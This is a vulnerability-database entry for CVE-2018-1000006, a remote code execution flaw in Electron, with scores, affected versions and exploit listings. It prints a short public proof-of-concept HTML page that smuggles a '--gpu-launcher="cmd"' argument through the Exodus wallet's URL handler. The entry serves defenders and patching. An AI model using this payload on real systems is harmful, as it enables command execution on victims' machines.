CVE-2018-1000006

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Published 2018-01-23 · Modified 2023-11-08

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CVSS v3

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CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS v4 NEW

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not yet in upstream

VIR risk

1.0

Description

Remote Code Execution in electron

Predictions

Exploit likelihood

30%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43899 remote windows text · 1 KB

Wflki · 2018-01-25

Exodus Wallet (ElectronJS Framework) - Remote Code Execution

text exploit Source: Exploit-DB

<!doctype html>
<script>
  window.location = 'exodus://aaaaaaaaa" --gpu-launcher="cmd" --aaaaa='
</script>

EDB-44357 remote windows verified

Metasploit · 2018-03-29

Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit)

Source code queued for fetch — refresh in a moment.

Metasploit modules

exploit_windows/browser/exodus rank

Exodus Wallet (ElectronJS Framework) remote Code Execution

Source fetch failed: fetch_error — view the original via the link above.

Package impact

Ecosystem	Package	Vulnerable	Fixed
npm	electron	`>=1.7.0,<1.7.11`	`1.7.11`
npm	electron	`>=1.6.0,<1.6.16`	`1.6.16`
npm	electron	`>=1.8.0,<1.8.2-beta.4`	`1.8.2-beta.4`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.